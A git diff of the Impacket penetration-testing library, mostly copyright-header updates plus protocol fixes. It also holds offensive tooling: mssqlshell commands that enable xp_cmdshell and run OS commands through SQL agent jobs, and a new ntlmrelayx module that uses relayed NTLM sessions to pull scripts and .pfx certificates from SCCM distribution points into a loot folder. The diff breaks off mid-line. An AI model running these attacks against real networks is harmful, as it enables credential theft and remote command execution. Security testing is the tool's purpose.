b/impacket/dcerpc/v5/rpcrt.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/dcerpc/v5/rprn.py b/impacket/dcerpc/v5/rprn.py index 0bd167ff45..f75ffd7e3f 100644 --- a/impacket/dcerpc/v5/rprn.py +++ b/impacket/dcerpc/v5/rprn.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/dcerpc/v5/rrp.py b/impacket/dcerpc/v5/rrp.py index 71b836e3de..3c7ab298a5 100644 --- a/impacket/dcerpc/v5/rrp.py +++ b/impacket/dcerpc/v5/rrp.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file @@ -696,13 +698,17 @@ def packValue(valueType, value): retData = pack('>L', value) elif valueType == REG_EXPAND_SZ: try: - retData = value.encode('utf-16le') + retData = checkNullString(value).encode('utf-16le') except UnicodeDecodeError: import sys retData = value.decode(sys.getfilesystemencoding()).encode('utf-16le') elif valueType == REG_MULTI_SZ: try: - retData = value.encode('utf-16le') + v = checkNullString(value) + # REG_MULTI_SZ must end with 2 null-bytes + if v[-2:-1] != '\x00': + v = v + '\x00' + retData = v.encode('utf-16le') except UnicodeDecodeError: import sys retData = value.decode(sys.getfilesystemencoding()).encode('utf-16le') @@ -712,7 +718,7 @@ def packValue(valueType, value): retData = pack('>Q', value) elif valueType == REG_SZ: try: - retData = value.encode('utf-16le') + retData = checkNullString(value).encode('utf-16le') except UnicodeDecodeError: import sys retData = value.decode(sys.getfilesystemencoding()).encode('utf-16le') diff --git a/impacket/dcerpc/v5/samr.py b/impacket/dcerpc/v5/samr.py index 73b181f5b7..a10ca4b8d1 100644 --- a/impacket/dcerpc/v5/samr.py +++ b/impacket/dcerpc/v5/samr.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/dcerpc/v5/sasec.py b/impacket/dcerpc/v5/sasec.py index 1bff7e5bf1..32a7828bd9 100644 --- a/impacket/dcerpc/v5/sasec.py +++ b/impacket/dcerpc/v5/sasec.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/dcerpc/v5/scmr.py b/impacket/dcerpc/v5/scmr.py index 8017c84577..58501241c8 100644 --- a/impacket/dcerpc/v5/scmr.py +++ b/impacket/dcerpc/v5/scmr.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file @@ -178,12 +180,13 @@ def __str__( self ): SERVICE_STOP_UNPLANNED = 0x10000000 # SERVICE_TRIGGER triggers -SERVICE_TRIGGER_TYPE_DEVICE_INTERFACE_ARRIVAL = 0x00000001 -SERVICE_TRIGGER_TYPE_IP_ADDRESS_AVAILABILITY = 0x00000002 -SERVICE_TRIGGER_TYPE_DOMAIN_JOIN = 0x00000003 -SERVICE_TRIGGER_TYPE_FIREWALL_PORT_EVENT = 0x00000004 -SERVICE_TRIGGER_TYPE_GROUP_POLICY = 0x00000005 -SERVICE_TRIGGER_TYPE_CUSTOM = 0x00000020 +SERVICE_TRIGGER_TYPE_DEVICE_INTERFACE_ARRIVAL = 1 +SERVICE_TRIGGER_TYPE_IP_ADDRESS_AVAILABILITY = 2 +SERVICE_TRIGGER_TYPE_DOMAIN_JOIN = 3 +SERVICE_TRIGGER_TYPE_FIREWALL_PORT_EVENT = 4 +SERVICE_TRIGGER_TYPE_GROUP_POLICY = 5 +SERVICE_TRIGGER_TYPE_NETWORK_ENDPOINT = 6 +SERVICE_TRIGGER_TYPE_CUSTOM = 20 # SERVICE_TRIGGER actions SERVICE_TRIGGER_ACTION_SERVICE_START = 0x00000001 @@ -685,7 +688,7 @@ class RSetServiceObjectSecurity(NDRCALL): structure = ( ('hService',SC_RPC_HANDLE), ('dwSecurityInformation',SECURITY_INFORMATION), - ('lpSecurityDescriptor',LPBYTE), + ('lpSecurityDescriptor',BYTE_ARRAY), ('cbBufSize',DWORD), ) @@ -1202,6 +1205,7 @@ def hRSetServiceObjectSecurity(dce, hService, dwSecurityInformation, lpSecurityD request = RSetServiceObjectSecurity() request['hService'] = hService request['dwSecurityInformation'] = dwSecurityInformation + request['lpSecurityDescriptor'] = lpSecurityDescriptor request['cbBufSize'] = cbBufSize return dce.request(request) diff --git a/impacket/dcerpc/v5/srvs.py b/impacket/dcerpc/v5/srvs.py index 2de8bd745c..ee5f9ea2da 100644 --- a/impacket/dcerpc/v5/srvs.py +++ b/impacket/dcerpc/v5/srvs.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/dcerpc/v5/transport.py b/impacket/dcerpc/v5/transport.py index b6ad046f08..4e16f15036 100644 --- a/impacket/dcerpc/v5/transport.py +++ b/impacket/dcerpc/v5/transport.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/dcerpc/v5/tsch.py b/impacket/dcerpc/v5/tsch.py index 05640033b6..f1a65e8274 100644 --- a/impacket/dcerpc/v5/tsch.py +++ b/impacket/dcerpc/v5/tsch.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/dcerpc/v5/tsts.py b/impacket/dcerpc/v5/tsts.py index bcd419255f..a22c99e29e 100644 --- a/impacket/dcerpc/v5/tsts.py +++ b/impacket/dcerpc/v5/tsts.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file @@ -3667,7 +3669,9 @@ def hRpcWinStationOpenSessionDirectory(dce, hServer, pszServerName): ################################################################################ class TSTSEndpoint: - def __init__(self, smb, target_ip, stringbinding, endpoint, kerberos = False): + def __init__(self, smb, target_ip, stringbinding, endpoint, kerberos): + self.__doKerberos = kerberos + self._target_ip = target_ip self._stringbinding = stringbinding.format(target_ip) self._endpoint = endpoint self._smbconnection = smb @@ -3679,9 +3683,11 @@ def _bind(self): self._rpctransport = transport.DCERPCTransportFactory(self._stringbinding) self._rpctransport.set_smb_connection(self._smbconnection) self._dce = self._rpctransport.get_dce_rpc() - self._dce.set_credentials(*self._rpctransport.get_credentials()) - self._dce.connect() + if self.__doKerberos: + self._dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) self._dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) + + self._dce.connect() self._dce.bind(self._endpoint) return self._dce def _disconnect(self): @@ -3692,10 +3698,11 @@ def __exit__(self, type, value, traceback): self._disconnect() class TermSrvSession(TSTSEndpoint): - def __init__(self, smb, target_ip): + def __init__(self, smb, target_ip, kerberos): super().__init__(smb, target_ip, stringbinding = r'ncacn_np:{}[\pipe\LSM_API_service]', - endpoint = TermSrvSession_UUID + endpoint = TermSrvSession_UUID, + kerberos = kerberos ) hRpcOpenSession = hRpcOpenSession hRpcCloseSession = hRpcCloseSession @@ -3715,10 +3722,11 @@ def __init__(self, smb, target_ip): hRpcGetSessionInformationEx = hRpcGetSessionInformationEx class TermSrvNotification(TSTSEndpoint): - def __init__(self, smb, target_ip): + def __init__(self, smb, target_ip, kerberos): super().__init__(smb, target_ip, stringbinding = r'ncacn_np:{}[\pipe\LSM_API_service]', - endpoint = TermSrvNotification_UUID + endpoint = TermSrvNotification_UUID, + kerberos = kerberos ) hRpcWaitForSessionState = hRpcWaitForSessionState hRpcRegisterAsyncNotification = hRpcRegisterAsyncNotification @@ -3726,10 +3734,11 @@ def __init__(self, smb, target_ip): hRpcUnRegisterAsyncNotification = hRpcUnRegisterAsyncNotification class TermSrvEnumeration(TSTSEndpoint): - def __init__(self, smb, target_ip): + def __init__(self, smb, target_ip, kerberos): super().__init__(smb, target_ip, stringbinding = r'ncacn_np:{}[\pipe\LSM_API_service]', - endpoint = TermSrvEnumeration_UUID + endpoint = TermSrvEnumeration_UUID, + kerberos = kerberos ) hRpcOpenEnum = hRpcOpenEnum hRpcCloseEnum = hRpcCloseEnum @@ -3738,10 +3747,11 @@ def __init__(self, smb, target_ip): hRpcGetAllSessions = hRpcGetAllSessions class RCMPublic(TSTSEndpoint): - def __init__(self, smb, target_ip): + def __init__(self, smb, target_ip, kerberos): super().__init__(smb, target_ip, stringbinding = r'ncacn_np:{}[\pipe\TermSrv_API_service]', - endpoint = RCMPublic_UUID + endpoint = RCMPublic_UUID, + kerberos = kerberos ) hRpcGetClientData = hRpcGetClientData hRpcGetConfigData = hRpcGetConfigData @@ -3751,10 +3761,11 @@ def __init__(self, smb, target_ip): class RcmListener(TSTSEndpoint): - def __init__(self, smb, target_ip): + def __init__(self, smb, target_ip, kerberos): super().__init__(smb, target_ip, stringbinding = r'ncacn_np:{}[\pipe\TermSrv_API_service]', - endpoint = RcmListener_UUID + endpoint = RcmListener_UUID, + kerberos = kerberos ) hRpcOpenListener = hRpcOpenListener hRpcCloseListener = hRpcCloseListener @@ -3763,10 +3774,11 @@ def __init__(self, smb, target_ip): hRpcIsListening = hRpcIsListening class LegacyAPI(TSTSEndpoint): - def __init__(self, smb, target_ip): + def __init__(self, smb, target_ip, kerberos): super().__init__(smb, target_ip, stringbinding = r'ncacn_np:{}[\pipe\Ctx_WinStation_API_service]', - endpoint = LegacyAPI_UUID + endpoint = LegacyAPI_UUID, + kerberos = kerberos ) hRpcWinStationOpenServer = hRpcWinStationOpenServer hRpcWinStationCloseServer = hRpcWinStationCloseServer diff --git a/impacket/dcerpc/v5/wkst.py b/impacket/dcerpc/v5/wkst.py index 5c55ca0339..572cf55f9b 100644 --- a/impacket/dcerpc/v5/wkst.py +++ b/impacket/dcerpc/v5/wkst.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/dhcp.py b/impacket/dhcp.py index 66d3b551f0..aeabb40137 100644 --- a/impacket/dhcp.py +++ b/impacket/dhcp.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/dns.py b/impacket/dns.py index 0bb3daee37..66ed620339 100644 --- a/impacket/dns.py +++ b/impacket/dns.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/dot11.py b/impacket/dot11.py index f7ad00bdd7..6178627426 100644 --- a/impacket/dot11.py +++ b/impacket/dot11.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/dpapi.py b/impacket/dpapi.py index 5f42272a88..8342ac6a51 100644 --- a/impacket/dpapi.py +++ b/impacket/dpapi.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file @@ -27,7 +29,7 @@ import sys from struct import unpack -from datetime import datetime +from datetime import datetime, timezone from binascii import unhexlify, hexlify from struct import pack from hashlib import pbkdf2_hmac @@ -777,7 +779,7 @@ def __init__(self, data = None, alignment = 0): def dump(self): print("[VCRD]") print("SchemaGuid : %s" % bin_to_string(self['SchemaGuid'])) - print("LastWritten : %s" % (datetime.utcfromtimestamp(getUnixTime(self['LastWritten'])))) + print("LastWritten : %s" % (datetime.fromtimestamp(getUnixTime(self['LastWritten']), tz=timezone.utc))) print("FriendlyName: %s" % (self['FriendlyName'].decode('utf-16le'))) print() for i,entry in enumerate(self.mapEntries): @@ -1075,7 +1077,7 @@ def __init__(self, data = None, alignment = 0): def dump(self): print("[CREDENTIAL]") - print("LastWritten : %s" % (datetime.utcfromtimestamp(getUnixTime(self['LastWritten'])))) + print("LastWritten : %s" % (datetime.fromtimestamp(getUnixTime(self['LastWritten']), tz=timezone.utc))) print("Flags : 0x%.8x (%s)" % (self['Flags'], getFlags(CREDENTIAL_FLAGS, self['Flags']))) print("Persist : 0x%.8x (%s)" % (self['Persist'], CREDENTIAL_PERSIST(self['Persist']).name)) print("Type : 0x%.8x (%s)" % (self['Type'], CREDENTIAL_TYPE(self['Type']).name)) diff --git a/impacket/dpapi_ng.py b/impacket/dpapi_ng.py index 7807ab6e09..8fb81bd446 100644 --- a/impacket/dpapi_ng.py +++ b/impacket/dpapi_ng.py @@ -1,3 +1,13 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. + import math import struct from impacket.dcerpc.v5.gkdi import ECDHKey, FFCDHKey, GroupKeyEnvelope diff --git a/impacket/eap.py b/impacket/eap.py index 31fc1b4e81..63ef3127cd 100644 --- a/impacket/eap.py +++ b/impacket/eap.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/ese.py b/impacket/ese.py index cc258ea152..244b6bb8f3 100644 --- a/impacket/ese.py +++ b/impacket/ese.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/examples/__init__.py b/impacket/examples/__init__.py index 8a4b094ded..29d7be4975 100644 --- a/impacket/examples/__init__.py +++ b/impacket/examples/__init__.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/examples/ldap_shell.py b/impacket/examples/ldap_shell.py index ef808888be..f409114a98 100755 --- a/impacket/examples/ldap_shell.py +++ b/impacket/examples/ldap_shell.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/examples/logger.py b/impacket/examples/logger.py index 73117355ae..7be15db653 100644 --- a/impacket/examples/logger.py +++ b/impacket/examples/logger.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/examples/mssqlshell.py b/impacket/examples/mssqlshell.py index 58dfcde89e..47e749e86f 100644 --- a/impacket/examples/mssqlshell.py +++ b/impacket/examples/mssqlshell.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file @@ -21,15 +23,6 @@ import cmd import sys -def handle_lastError(f): - def wrapper(*args): - try: - f(*args) - finally: - if(args[0].sql.lastError): - print(args[0].sql.lastError) - return wrapper - class SQLSHELL(cmd.Cmd): def __init__(self, SQL, show_queries=False, tcpShell=None): if tcpShell is not None: @@ -49,6 +42,10 @@ def __init__(self, SQL, show_queries=False, tcpShell=None): self.set_prompt() self.intro = '[!] Press help for extra shell commands' + def print_replies(self): + # to condense all calls to sql.printReplies with right logger in this context + self.sql.printReplies(error_logger=print, info_logger=print) + def do_help(self, line): print(""" lcd {path} - changes the current local directory to {path} @@ -103,19 +100,16 @@ def execute_as(self, exec_as): self.at.append((at, exec_as)) else: self.sql_query(exec_as) - self.sql.printReplies() + self.print_replies() - @handle_lastError def do_exec_as_login(self, s): exec_as = "execute as login='%s';" % s self.execute_as(exec_as) - @handle_lastError def do_exec_as_user(self, s): exec_as = "execute as user='%s';" % s self.execute_as(exec_as) - @handle_lastError def do_use_link(self, s): if s == 'localhost': self.at = [] @@ -124,7 +118,7 @@ def do_use_link(self, s): else: self.at.append((s, '')) row = self.sql_query('select system_user as "username"') - self.sql.printReplies() + self.print_replies() if len(row) < 1: self.at = self.at[:-1] @@ -139,26 +133,23 @@ def sql_query(self, query, show=True): def do_shell(self, s): os.system(s) - @handle_lastError def do_xp_dirtree(self, s): try: self.sql_query("exec master.sys.xp_dirtree '%s',1,1" % s) - self.sql.printReplies() + self.print_replies() self.sql.printRows() except: pass - @handle_lastError def do_xp_cmdshell(self, s): try: self.sql_query("exec master..xp_cmdshell '%s'" % s) - self.sql.printReplies() + self.print_replies() self.sql.colMeta[0]['TypeData'] = 80*2 self.sql.printRows() except: pass - @handle_lastError def do_sp_start_job(self, s): try: self.sql_query("DECLARE @job NVARCHAR(100);" @@ -169,7 +160,7 @@ def do_sp_start_job(self, s): "@subsystem='CMDEXEC',@command='%s',@on_success_action=1;" "EXEC msdb..sp_add_jobserver @job_name=@job;" "EXEC msdb..sp_start_job @job_name=@job;" % s) - self.sql.printReplies() + self.print_replies() self.sql.printRows() except: pass @@ -180,60 +171,53 @@ def do_lcd(self, s): else: os.chdir(s) - @handle_lastError def do_enable_xp_cmdshell(self, line): try: self.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;" "exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;") - self.sql.printReplies() + self.print_replies() self.sql.printRows() except: pass - @handle_lastError def do_disable_xp_cmdshell(self, line): try: self.sql_query("exec sp_configure 'xp_cmdshell', 0 ;RECONFIGURE;exec sp_configure " "'show advanced options', 0 ;RECONFIGURE;") - self.sql.printReplies() + self.print_replies() self.sql.printRows() except: pass - @handle_lastError def do_enum_links(self, line): self.sql_query("EXEC sp_linkedservers") - self.sql.printReplies() + self.print_replies() self.sql.printRows() self.sql_query("EXEC sp_helplinkedsrvlogin") - self.sql.printReplies() + self.print_replies() self.sql.printRows() - @handle_lastError def do_enum_users(self, line): self.sql_query("EXEC sp_helpuser") - self.sql.printReplies() + self.print_replies() self.sql.printRows() - @handle_lastError def do_enum_db(self, line): try: self.sql_query("select name, is_trustworthy_on from sys.databases") - self.sql.printReplies() + self.print_replies() self.sql.printRows() except: pass - @handle_lastError def do_enum_owner(self, line): try: self.sql_query("SELECT name [Database], suser_sname(owner_sid) [Owner] FROM sys.databases") - self.sql.printReplies() + self.print_replies() self.sql.printRows() except: pass - @handle_lastError def do_enum_impersonate(self, line): old_db = self.sql.currentDB try: @@ -260,7 +244,7 @@ def do_enum_impersonate(self, line): " ON pe.grantor_principal_id = pr2.principal_Id " "WHERE pe.type = 'IM'") result.extend(result_rows) - self.sql.printReplies() + self.print_replies() self.sql.rows = result self.sql.printRows() except: @@ -268,23 +252,21 @@ def do_enum_impersonate(self, line): finally: self.sql_query("use " + old_db) - @handle_lastError def do_enum_logins(self, line): try: self.sql_query("select r.name,r.type_desc,r.is_disabled, sl.sysadmin, sl.securityadmin, " "sl.serveradmin, sl.setupadmin, sl.processadmin, sl.diskadmin, sl.dbcreator, " "sl.bulkadmin from master.sys.server_principals r left join master.sys.syslogins sl " "on sl.sid = r.sid where r.type in ('S','E','X','U','G')") - self.sql.printReplies() + self.print_replies() self.sql.printRows() except: pass - @handle_lastError def default(self, line): try: self.sql_query(line) - self.sql.printReplies() + self.print_replies() self.sql.printRows() except: pass diff --git a/impacket/examples/ntlmrelayx/__init__.py b/impacket/examples/ntlmrelayx/__init__.py index 8a4b094ded..29d7be4975 100644 --- a/impacket/examples/ntlmrelayx/__init__.py +++ b/impacket/examples/ntlmrelayx/__init__.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/examples/ntlmrelayx/attacks/__init__.py b/impacket/examples/ntlmrelayx/attacks/__init__.py index 4feb897335..c8896d7107 100644 --- a/impacket/examples/ntlmrelayx/attacks/__init__.py +++ b/impacket/examples/ntlmrelayx/attacks/__init__.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/examples/ntlmrelayx/attacks/dcsyncattack.py b/impacket/examples/ntlmrelayx/attacks/dcsyncattack.py index 8cd8251b2f..1db7d07dd0 100644 --- a/impacket/examples/ntlmrelayx/attacks/dcsyncattack.py +++ b/impacket/examples/ntlmrelayx/attacks/dcsyncattack.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/examples/ntlmrelayx/attacks/httpattack.py b/impacket/examples/ntlmrelayx/attacks/httpattack.py index ac9da97206..7e29a3fdc1 100644 --- a/impacket/examples/ntlmrelayx/attacks/httpattack.py +++ b/impacket/examples/ntlmrelayx/attacks/httpattack.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file @@ -17,11 +19,15 @@ from impacket.examples.ntlmrelayx.attacks import ProtocolAttack from impacket.examples.ntlmrelayx.attacks.httpattacks.adcsattack import ADCSAttack +from impacket.examples.ntlmrelayx.attacks.httpattacks.sccmpoliciesattack import SCCMPoliciesAttack +from impacket.examples.ntlmrelayx.attacks.httpattacks.sccmdpattack import SCCMDPAttack + + PROTOCOL_ATTACK_CLASS = "HTTPAttack" -class HTTPAttack(ProtocolAttack, ADCSAttack): +class HTTPAttack(ProtocolAttack, ADCSAttack, SCCMPoliciesAttack, SCCMDPAttack): """ This is the default HTTP attack. This attack only dumps the root page, though you can add any complex attack below. self.client is an instance of urrlib.session @@ -34,10 +40,15 @@ def run(self): if self.config.isADCSAttack: ADCSAttack._run(self) + elif self.config.isSCCMPoliciesAttack: + SCCMPoliciesAttack._run(self) + elif self.config.isSCCMDPAttack: + SCCMDPAttack._run(self) else: # Default action: Dump requested page to file, named username-targetname.html # You can also request any page on the server via self.client.session, # for example with: + print("DEFAULT CASE") self.client.request("GET", "/") r1 = self.client.getresponse() print(r1.status, r1.reason) diff --git a/impacket/examples/ntlmrelayx/attacks/httpattacks/adcsattack.py b/impacket/examples/ntlmrelayx/attacks/httpattacks/adcsattack.py index e4acf98d95..7c364d6033 100644 --- a/impacket/examples/ntlmrelayx/attacks/httpattacks/adcsattack.py +++ b/impacket/examples/ntlmrelayx/attacks/httpattacks/adcsattack.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/examples/ntlmrelayx/attacks/httpattacks/sccmdpattack.py b/impacket/examples/ntlmrelayx/attacks/httpattacks/sccmdpattack.py new file mode 100644 index 0000000000..c19fbd082e --- /dev/null +++ b/impacket/examples/ntlmrelayx/attacks/httpattacks/sccmdpattack.py @@ -0,0 +1,215 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# SCCM relay attack to dump files from Distribution Points +# +# Authors: +# Quentin Roland(@croco_byte - Synacktiv) +# Based on SCCMSecrets.py (https://github.com/synacktiv/SCCMSecrets/) +# Inspired by the initial pull request of Alberto Rodriguez (@__ar0d__) +# Credits to @badsectorlabs for the datalib file indexing method + +import os +import json +import urllib + +from html.parser import HTMLParser +from datetime import datetime +from impacket import LOG + + +def print_tree(d, out, prefix=""): + keys = list(d.keys()) + for i, key in enumerate(keys): + is_last = (i == len(keys) - 1) + if isinstance(d[key], dict): + out.write(f"{prefix}{'└── ' if is_last else '├── '}{key}/\n") + new_prefix = f"{prefix}{' ' if is_last else '│ '}" + print_tree(d[key], out, new_prefix) + else: + out.write(f"{prefix}{'└── ' if is_last else '├── '}{key}\n") + +class PackageIDsRetriever(HTMLParser): + def __init__(self): + super().__init__() + self.package_ids = set() + + def handle_starttag(self, tag, attrs): + if tag == 'a': + for attr in attrs: + if attr[0] == 'href': + href = attr[1] + parts = href.split('/') + last_part = parts[-1].strip() + if not last_part.endswith('.INI'): + self.package_ids.add(last_part) + +class FilesAndDirsRetriever(HTMLParser): + def __init__(self): + super().__init__() + self.links = [] + self.previous_data = "" + + def handle_starttag(self, tag, attrs): + self.current_tag = tag + if tag == 'a': + href = dict(attrs).get('href') + if href: + self.links.append((href, self.previous_data)) + + def handle_data(self, data): + self.previous_data = data.strip() + + + +class SCCMDPAttack: + max_recursion_depth = 7 + DP_DOWNLOAD_HEADERS = { + "User-Agent": "SMS CCM 5.0 TS" + } + + def _run(self): + LOG.info("Starting SCCM DP attack") + + self.distribution_point = f"{'https' if self.client.port == 443 else 'http'}://{self.client.host}" + self.loot_dir = f"{self.client.host}_{datetime.now().strftime('%Y%m%d%H%M%S')}_sccm_dp_loot" + if self.config.SCCMDPExtensions == None: + self.config.SCCMDPExtensions = [".ps1", ".bat", ".xml", ".txt", ".pfx"] + elif not self.config.SCCMDPExtensions.strip(): + self.config.SCCMDPExtensions = [] + else: + self.config.SCCMDPExtensions = [x.strip() for x in self.config.SCCMDPExtensions.split(',')] + + try: + os.makedirs(self.loot_dir, exist_ok=True) + LOG.info(f"Loot directory is: {self.loot_dir}") + except Exception as err: + LOG.error(f"Error creating base output directory: {err}") + return + + + # If a set of URLs was provided, do not reindex + if self.config.SCCMDPFiles is None: + try: + LOG.debug("Retrieving package IDs from Datalib") + self.package_ids = set() + self.fetch_package_ids_from_datalib() + except Exception as e: + LOG.error(f"Encountered an error while indexing files from Distribution Point: {e}") + return + + try: + LOG.debug("Performing file download") + self.download_target_files() + LOG.info("File download performed") + except Exception as e: + LOG.error(f"Encountered an error while downloading target files: {e}") + return + + LOG.info(f"DONE - attack finished. Check loot directory {self.loot_dir}") + + + + + def recursive_file_extract(self, data): + to_download = [] + if isinstance(data, dict): + for key, value in data.items(): + if value is None and key.endswith(tuple(self.config.SCCMDPExtensions)): + to_download.append(key) + else: + to_download.extend(self.recursive_file_extract(data[key])) + return to_download + + + def download_files(self, files): + for file in files: + try: + parsed_url = urllib.parse.urlparse(file) + filename = '__'.join(parsed_url.path.split('/')[3:]) + package = parsed_url.path.split('/')[2] + self.client.request("GET", file, headers=self.DP_DOWNLOAD_HEADERS) + r = self.client.getresponse().read() + output_file = 